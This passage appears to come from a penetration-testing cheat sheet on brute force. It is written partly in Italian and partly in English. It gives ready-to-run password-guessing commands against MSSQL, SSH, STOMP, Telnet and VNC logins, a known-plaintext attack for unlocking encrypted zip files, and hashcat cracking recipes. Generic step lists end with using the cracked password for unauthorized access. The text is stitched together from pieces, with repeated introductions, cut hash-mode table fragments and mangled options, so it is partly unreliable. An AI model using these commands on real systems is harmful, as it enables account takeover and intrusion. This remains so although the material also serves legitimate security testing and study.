SQL Server

Brute Force

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. In the context of SQL Server, this means trying all possible combinations of characters to guess the login credentials of a user. These attacks can be automated using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if the password is weak. Implementing measures such as account lockout policies and strong password requirements can help mitigate the risk of a successful brute force attack.

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

Il metodo di forza bruta per attaccare un server SSH coinvolge la generazione di password casuali e il loro tentativo di accesso al server tramite SSH. Questo processo può essere automatizzato utilizzando script o strumenti appositi come Hydra o Medusa. È importante notare che l'utilizzo di questo metodo è illegale a meno che non venga eseguito su un sistema di cui si è il legittimo proprietario o si abbia il permesso esplicito di farlo.

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Chiavi SSH deboli / PRNG prevedibile di Debian

Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Ciò può risultare in uno spazio delle chiavi notevolmente ridotto che può essere forzato con strumenti come snowdroppe/ssh-keybrute. Set pre-generati di chiavi deboli sono disponibili anche come g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

Il protocollo di testo STOMP è un protocollo di messaggistica ampiamente utilizzato che consente una comunicazione e interazione senza soluzione di continuità con servizi di code di messaggi popolari come RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Fornisce un approccio standardizzato ed efficiente per lo scambio di messaggi e l'esecuzione di varie operazioni di messaggistica.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la rete Internet o una rete locale. Viene comunemente utilizzato per l'accesso a server remoti per scopi di amministrazione o diagnostica.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

VNC (Virtual Network Computing) è un sistema che consente di controllare un computer remoto. Un attaccante potrebbe utilizzare attacchi di forza bruta per indovinare la password di accesso al server VNC remoto.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0

Attacco zip con testo in chiaro noto

È necessario conoscere il testo in chiaro (o parte del testo in chiaro) di un file contenuto all'interno dello zip crittografato. È possibile verificare i nomi dei file e le dimensioni dei file contenuti all'interno di uno zip crittografato eseguendo: 7z l encrypted.zip Scarica bkcrack dalla pagina dei rilasci.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

Hashcat

Attacchi Hashcat

  • Attacco con lista di parole (-a 0) con regole

Hashcat già include una cartella contenente regole ma puoi trovare altre regole interessanti qui.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule

  • Attacco di combinazione di elenchi di parole

È possibile combinare 2 elenchi di parole in 1 con hashcat. Se l'elenco 1 contenesse la parola "ciao" e il secondo contenesse 2 righe con le parole "mondo" e "terra". Le parole ciaomondo e ciaoterra verranno generate.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!

  • Attacco a maschera (-a 3)

# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask

  • Attacco Wordlist + Maschera (-a 6) / Maschera + Wordlist (-a 7)

# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Brute Force

Introduction

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack password hashes stored in the /etc/shadow file on Linux systems.

Tools

There are various tools available for performing brute force attacks, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of generating and testing a large number of keys or passwords.

Methodology

  1. Obtain the password hash from the /etc/shadow file.

  2. Use a brute force tool to generate and test possible keys or passwords.

  3. Compare the generated hash with the target hash.

  4. If a match is found, the correct key or password has been identified.

Considerations

Brute force attacks can be time-consuming and resource-intensive, especially for complex passwords. It is important to use a good wordlist and optimize the attack parameters to increase the chances of success.

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Brute Force

Introduction

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack password hashes.

Tools

There are several tools available for performing brute force attacks, such as John the Ripper and Hashcat. These tools can be used to crack Windows password hashes efficiently.

Methodology

  1. Obtain the password hash from the target Windows system.

  2. Use a brute force tool like John the Ripper or Hashcat to crack the password hash.

  3. Configure the tool with the appropriate settings, such as character set, password length, and any other relevant parameters.

  4. Start the brute force attack and wait for the tool to find the correct password.

  5. Once the password is cracked, it can be used to gain unauthorized access to the target system.

Brute-Force

Introduction

Brute-force attacks are a common technique used to crack hashes. This method involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are often successful in cracking common application hashes.

Steps to Perform a Brute-Force Attack

  1. Gather Information: Collect as much information as possible about the hash you are trying to crack, such as the hash type and any known details about the password.

  2. Select a Tool: Choose a reliable tool for performing the brute-force attack. There are many tools available, such as John the Ripper, Hashcat, and Hydra.

  3. Set Up the Tool: Configure the tool with the necessary parameters, such as the hash type, character set to use, and any additional options.

  4. Start the Attack: Initiate the brute-force attack and let the tool run through all possible combinations until it finds the correct password.

  5. Optimize: Adjust the attack parameters as needed to optimize the process and increase the chances of success.

  6. Monitor Progress: Keep an eye on the progress of the attack to see how close you are to cracking the hash.

  7. Crack the Hash: Once the correct password is found, use it to crack the hash and gain access to the target system or application.

By following these steps, you can effectively perform a brute-force attack to crack common application hashes.

900 | MD4                                              | Raw Hash
